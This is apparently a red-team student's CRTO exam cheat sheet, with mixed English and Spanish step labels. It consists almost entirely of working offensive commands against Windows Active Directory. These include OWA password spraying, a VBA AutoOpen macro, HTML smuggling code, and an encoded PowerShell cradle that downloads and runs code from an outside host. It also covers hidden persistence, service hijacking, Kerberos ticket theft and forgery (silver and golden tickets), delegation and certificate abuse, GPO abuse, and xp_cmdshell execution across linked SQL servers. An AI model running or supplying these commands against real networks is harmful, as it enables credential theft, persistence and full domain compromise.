My own notes to pass the CRTO
Import the Module
ipmo C:\Tools\MailSniper\MailSniper.ps1
Check the valid usernames
Invoke-UsernameHarvestOWA -ExchHostname mail.domain.local -Domain domain.local -UserList possible_users.txt -OutFile valid.txt
Password Spraying
Invoke-PasswordSprayOWA -ExchHostname mail.domain.local -UserList valid.txt -Password Password
Dump all email accounts
Get-GlobalAddressList -ExchHostname mail.domain.local -UserName domain.local\user -Password Password -OutFile users.txt
Sub AutoOpen()
Dim Shell As Object
Set Shell = CreateObject("wscript.shell")
Shell.Run "COMMAND"
End Sub
<html>
<head>
<title>HTML Smuggling</title>
</head>
<body>
<p>This is all the user will see...</p>
<script>
function convertFromBase64(base64) {
var binary_string = window.atob(base64);
var len = binary_string.length;
var bytes = new Uint8Array( len );
for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); }
return bytes.buffer;
}
var file ='VGhpcyBpcyBhIHNtdWdnbGVkIGZpbGU=';
var data = convertFromBase64(file);
var blob = new Blob([data], {type: 'octet/stream'});
var fileName = 'test.txt';
if(window.navigator.msSaveOrOpenBlob) window.navigator.msSaveBlob(blob,fileName);
else {
var a = document.createElement('a');
document.body.appendChild(a);
a.style = 'display: none';
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);
}
</script>
</body>
</html>
Elegir un Pipename legítimo (coger uno de TSVCPIPE)
ls \\.\pipe\
Conectarse al beacon
link HOST Pipename(C2)
Encodear el payload
$str = 'IEX ((new-object net.webclient).downloadstring("http://nickelviper.com/a"))'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))
Write-Output $str
Configuration of the Host Persistence
execute-assembly SharPersist.exe -t [schtask | reg | startupfolder] -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc PAYLOAD_ENCODEADO" -n "TASK_NAME" -m add -o [hourly | daily | logon] [-f "filename"] [-k "REGISTRY_KEY_TO_MODIFIE" -v "REGISTRY_KEY_TO_CREATE"]
Mirar los servicios
run sc query
Mirar las propiedades del servicio
run Get-Service | fl
Mirar los paths de los servicios
run wmic service get name, pathname
Mirar los permisos de objetos (carpetas, archivos...)
powershell Get-Acl -Path "C:\Program Files\Vulnerable Services" | fl
Enumerar con SharpUp.exe
execute-assembly C:\Tools\SharpUp\SharpUp\bin\Release\SharpUp.exe audit UnquotedServicePath
Parar un servicio
run sc stop VulnService1
Activar un servicio
run sc start VulnService1
Mirar el nombre de los serivicios modificables
execute-assembly C:\Tools\SharpUp\SharpUp\bin\Release\SharpUp.exe audit ModifiableServices
Mirar los permisos con Get-ServiceAcl.ps1 [https://github.com/Sambal0x/tools/blob/master/Get-ServiceAcl.ps1]
powershell Get-ServiceAcl -Name VulnService2 | select -expand Access
Modificar el path del servicio
run sc config VulnService2 binPath= C:\Temp\tcp-local_x64.svc.exe
Ver los permisos del binario
powershell Get-Acl -Path "C:\Program Files\Vulnerable Services\Service 3.exe" | fl
Copiar el binario
copy "tcp-local_x64.svc.exe" "Service 3.exe"
elevate uac-schtasks tcp-local
Ir a un directorio con permisos de escritura
cd C:\Windows
Subir un payload
upload C:\Payloads\tcp-local_x64.svc.exe
Cambiar el nombre evitar el rastro
mv tcp-local_x64.svc.exe legit-svc.exe
Añadir el servicio para que se ejecute cuando el equipo se reinicie
execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t service -c "C:\Windows\legit-svc.exe" -n "legit-svc" -m add
Extraer Tickets de Kerberos
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe triage
Coger el TGT
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x... /service:krbtgt /nowrap
Ver el dominio
powershell Get-Domain
Ver el dominio, el DC y su OS
powershell Get-Domain
Ver todos los dominios del bosque
powershell Get-ForestDomain
Ver la política de contraseñas del dominio
powershell Get-DomainPolicyData
Ver los grupos a los que pertenece un usuario (Get-DomainUser para ver todos los usuarios)
powershell Get-DomainUser -Identity jking -Properties DisplayName, MemberOf | fl
Ver todos los ordenadores del dominio
powershell Get-DomainComputer -Properties DnsHostName | sort -Property DnsHostName
Ver todas las OU del dominio
powershell Get-DomainOU -Properties Name | sort -Property Name
Ver todos los grupos del dominio que tengan la palabra "admin"
powershell Get-DomainGroup | where Name -like "*Admins*" | select SamAccountName
Ver los miembros de un grupo concreto
powershell Get-DomainGroupMember -Identity "Domain Admins" | select MemberDistinguishedName
Mirar todas las GPOs del dominio
powershell Get-DomainGPO -Properties DisplayName | sort -Property DisplayName
Mirar las GPOs locales
powershell Get-DomainGPOLocalGroup | select GPODisplayName, GroupName
Ver las maquinas donde un grupo del dominio es miembro de un grupo local (util para ver local admins)
powershell Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName | fl
Ver la confianza del dominio actual con el resto
powershell Get-DomainTrust
pth dominio\usuario HASH
One-liner
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DOMAIN (/domain:DEV) /username:USER /password:CronoXPass /ticket:doIFXD[...]MuaW8=
Coger el LUID e ID del proceso cmd.exe
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
Pasar el ticket al proceso
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe ptt /luid:0x798c2c /ticket:doIFuj[...snip...]lDLklP
Robar el token
steal_token proceso
Matar el proceso cuando se haga rev2self
kill proceso
Pedir un TGT
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user: /ntlm: /opsec /nowrap
Listar los procesos
ps
Robar el token (para guardar el token, usar token-store...)
steal_token PID
make_token dominio\usuario pass
inject PID x64 tcp-local
Mirar antes el software de la maquina
execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe OSInfo -ComputerName=
Jump
jump [psexec,winrm...] equipo [listener]
Remote-exec
remote-exec [psexec, winrm...] [listener (SMB mejor)]
Subir un payload a la maquina
cd \\PC\ADMIN$
upload C:\Payloads\smb_x64.exe
remote-exec wmi PC C:\Windows\smb_x64.exe
socks 1080
Habilitar firewall
powershell New-NetFirewallRule -DisplayName "8080-In" -Direction Inbound -Protocol TCP -Action Allow -LocalPort 8080
rportfwd victim_port 127.0.0.1 attacker_port
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe kerberoast /simple /nowrap
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asreproast /user:squid_svc /nowrap
Ver los equipos vulnerables a unconstrained delegation
execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname
Ponerse escucha para recibir un TGT
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe monitor /interval:10 /nowrap
Forzar la autenticacion de un equipo a nosotros (desde otro equipo)
execute-assembly C:\Tools\SharpSystemTriggers\SharpSpoolTrigger\bin\Release\SharpSpoolTrigger.exe TARGET LISTENER
Mirar si cualquier usuario del equipo puede impersonar el servicio "CIFS" (permite listar y transferir archivos)
execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes dnshostname,samaccountname,msds-allowedtodelegateto --json
Coger el TGT de la maquina y solicitar un TGS
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /impersonateuser:usuario_a_impersonar /msdsspn:cifs/equipo /user:maquina /ticket: /nowrap
Impersonar un proceso con el ticket
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain: /username:usuario_a_impersonar /password:FakePass /ticket:
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /impersonateuser:nlamb /msdsspn:servicio/equipo /altservice:ldap /user:equipo$ /ticket:doIFpD[...]MuSU8= /nowrap
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /impersonateuser:usuario /self /altservice:servicio/equipo /user:equipo$ /ticket: /nowrap
Enumerar los equipos vulnerables
powershell Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll|WriteDacl" -and $_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[\d]{4,10}" }
Obtener el SID
powershell Get-DomainComputer -Identity wkstn-2 -Properties objectSid
Cambiar el contenido de "msDS-AllowedToActOnBehalfOfOtherIdentity"
powershell $rsd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SID)"; $rsdb = New-Object byte[] ($rsd.BinaryLength); $rsd.GetBinaryForm($rsdb, 0); Get-DomainComputer -Identity "dc-2" | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $rsdb} -Verbose
Usar el TGT del equipo vulnerable
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /user:WKSTN-2$ /impersonateuser:usuario_a_impersonar /msdsspn:servicio\/equipo /ticket: /nowrap
PTT
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:dominio /username:usuario_impersonado /password:FakePass /ticket:
Coger el certificado
execute-assembly C:\Tools\Whisker\Whisker\bin\Release\Whisker.exe add /target:equipo$ /domain:dominio
Coger el hash NTLM y hacer PTH
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:dc-2$ /certificate:certificado /password:"Vt1E6BzV8qehrqkn" /domain:dominio /dc:equipo.dominio /getcredentials /show
Encontrar un certificado vulnerable
execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe find /vulnerable
Solicitar un certificado
execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe request /ca:nombre_certificado /template:template /altname:usuario_a_impersonar
Copiar todo el certificado y ponerlo en un .pem, luego convertirlo a pfx (en un Linux)
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Pasarlo a Rubeus en base64 para solicitar un TGT
cat cert.pfx | base64 -w 0
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:usuario_a_impersonar /certificate:base64 /password:pass_elegida /nowrap
Mirar las GPOs que se pueden modificar y que pertenezcan a usuarios importantes (Domain Admins, SYSTEM...)
powershell Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "CreateChild|WriteProperty" -and $_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[\d]{4,10}" }
Resolver cual es la GPO
powershell Get-DomainGPO -Identity "CN=(ObjectCN)" | select displayName, gpcFileSysPath
Ver quién puede modificar la GPO
powershell ConvertFrom-SID S-1-5-21-SID
Ver a quién aplica la GPO
powershell Get-DomainOU -GPLink "{}" | select distinguishedName
powershell Get-DomainComputer -SearchBase "OU=,DC=,DC=,DC=" | select dnsHostName
Modificar la GPO
execute-assembly C:\Tools\SharpGPOAbuse\SharpGPOAbuse\bin\Release\SharpGPOAbuse.exe --AddComputerScript --ScriptName startup.bat --ScriptContents "start /b comando" --GPOName "NOMBRE_GPO"
Importar el módulo de PS para la enumeración de MSSQL
powershell-import C:\Tools\PowerUpSQL\PowerUpSQL.ps1
Ver donde se encuentra el MSSQL
powershell Get-SQLInstanceDomain
Ver si es accesible desde nuestro equipo
powershell Get-SQLConnectionTest -Instance "instancia,1433" | fl
Información del MSSQL (/m:whoami para ver los roles que tiene nuestro usuario)
execute-assembly C:\Tools\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /auth:wintoken /host:HOST /module:info
Ver los roles de otro usuario
execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:windomain /d:DOMINIO /u:USER /p:PASS /h:INSTANCIA /m:whoami
Ver los usuarios que son Admins de MSSQL
powershell Get-DomainGroup -Identity *SQL* | % { Get-DomainGroupMember -Identity $_.distinguishedname | select groupname, membername }
Mirar el nombre del servidor
execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:INSTANCIA /m:query /c:"select @@servername"
powershell Get-SQLQuery -Instance "INSTANCIA" -Query "select @@servername"
Acceder desde una maquina Linux con mssqlclient.py
proxychains mssqlclient.py -windows-auth DEV/bfarmer@10.10.122.25
Mirar qué usuarios con (ID X) tienen permisos para impersonar a otros usuarios con ID...
SELECT * FROM sys.server_permissions WHERE permission_name = 'IMPERSONATE';
Mirar que usuarios pertenecen a ese ID
SELECT name, principal_id, type_desc, is_disabled FROM sys.server_principals;
Impersonar al usuario
execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io,1433 /m:impersonate
Ejecutar comandos como el usuario
EXECUTE AS login = 'domain\user'; SELECT SYSTEM_USER;
Ejecutar SQLRecon con el usuario impersonado
execute-assembly C:\Tools\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:INSTANCIA /m:iwhoami /i:DEV\mssql_svc
Ejecutar codigo con PowerUpSQL
powershell Invoke-SQLOSCmd -Instance "INSTANCIA" -Command "whoami" -RawResults
Mirar si XP_CMDSHELL esta activado
SELECT value FROM sys.configurations WHERE name = 'xp_cmdshell';
Habilitarlo en caso de que esté desactivado
sp_configure 'Show Advanced Options', 1; RECONFIGURE;
sp_configure 'xp_cmdshell', 1; RECONFIGURE;
Ejecutar comandos
EXEC xp_cmdshell "whoami";
Habilitar XP_CMDSHELL
execute-assembly C:\Tools\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:INSTANCIA /m:ienablexp /i:DEV\mssql_svc
Ejectuar codigo con XP_CMDSHELL
execute-assembly C:\Tools\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:INSTANCIA /m:ixpcmd /i:DEV\mssql_svc /c:ipconfig
Mirar los links de la instancia
SELECT srvname, srvproduct, rpcout FROM master..sysservers;
Ejecutar queries en otro servidor
SELECT * FROM OPENQUERY("HOST", 'select @@servername');
Mirar los links de la instancia
execute-assembly C:\Tools\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:INSTANCIA /m:links
Ejecutar queries en otro servidor
execute-assembly C:\Tools\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:INSTANCIA1 /m:lquery /l:HOST2 /c:"select @@servername"
Mirar permisos en otro servidor
execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:INSTANCIA /m:lwhoami /l:HOST2
Mirar si XP_CMDSHELL esta activado en el otro servidor
execute-assembly C:\Tools\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io,1433 /m:lquery /l:sql-1.cyberbotic.io /c:"select name,value from sys.configurations WHERE name = ''xp_cmdshell''"
Si XP_CMDSHELL esta desactivado, solo si está RPC OUT habilitado se podrá activar con
EXEC('sp_configure ''show advanced options'', 1; reconfigure;') AT [SERVIDOR]
EXEC('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT [SERVIDOR]
Mirar si el otro serviodor tiene mas links
execute-assembly C:\Tools\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io,1433 /m:llinks /l:sql-1.cyberbotic.io
powershell Get-SQLServerLinkCrawl -Instance "INSTANCIA1"
Ejecutar codigo en el otro servidor
SELECT * FROM OPENQUERY("HOST", 'select @@servername; exec xp_cmdshell ''command''')
Mirar los privilegios actuales
execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe TokenPrivileges
Si puede impersonar a cualquier usuario se fuerza la autenticacion de un NT Authority\SYSTEM
execute-assembly C:\Tools\SweetPotato\bin\Release\SweetPotato.exe -p C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -a "-w hidden -enc ..."
Coger el SID de los dominios
powershell (Get-ADForest).Domains| %{Get-ADDomain -Server $_} | Select-Object name, domainsid
Dumpear llaves de Kerberos
mimikatz !sekurlsa::ekeys
En la otra maquina, crea un TGS con los datos
C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe silver /service:cifs/EQUIPO_LLAVES_KERBEROS.DOMINIO /aes256:EQUIPO_LLAVE_KERBEROS /user:USUARIO /domain:DOMINIO /sid:SID_DOMINIO /nowrap
| Technique | Required Service Tickets |
|---|---|
| psexec | HOST & CIFS |
| winrm | HOST & CIFS |
| dcsync | LDAP |
Coger el hash NTLM o AES de krbtgt
dcsync DOMINIO DOMINIO\krbtgt
Hacer el TGT
C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe golden /aes256:AES_KRBTGT /user:USUARIO /domain:DOMAIN.local /sid:DOMAIN_SID /nowrap
Enumerar Dominios
powershell Get-DomainTrust
Coger el SID del grupo del dominio objetivo
powershell Get-DomainGroup -Identity "Domain Admins" -Domain DOMINIO_OBJETIVO.local -Properties ObjectSid
Nombre del DC del dominio
powershell Get-DomainController -Domain DOMINIO | select Name
C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe golden /aes256:AES_KRBTGT /user:Administrator /domain:DOMAIN_CHILD /sid:SID_CHILD /sids:SID_GRUPO_OBJETIVO /nowrap
Mirar los grupos que contienen usuarios del otro dominio
powershell Get-DomainForeignGroupMember -Domain DOMINIO_OBJETIVO.local
Transformar el SID en texto
powershell ConvertFrom-SID SID
Ver los usuarios a los que pertenece ese grupo
powershell Get-DomainGroupMember -Identity "GRUPO" | select MemberName
Soliticar un TGT del usuario
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:nlamb /domain:DOMINIO_local.local /aes256:AES_USER /nowrap
Solicitar un Referral Ticket
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgs /service:krbtgt/DOMINIO_OBJETIVO /domain:dominio.local /dc:DC_LOCAL.domino /ticket:doIFwj[...]MuaW8= /nowrap
Solicitar un TGS con el Inter-Realm Ticket
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgs /service:cifs/DC_OBJETIVO.dominio /domain:DOMINIO_OBJETIVO /dc:DC_OBJETIVO.dominio /ticket:doIFoz[...]NPTQ== /nowrap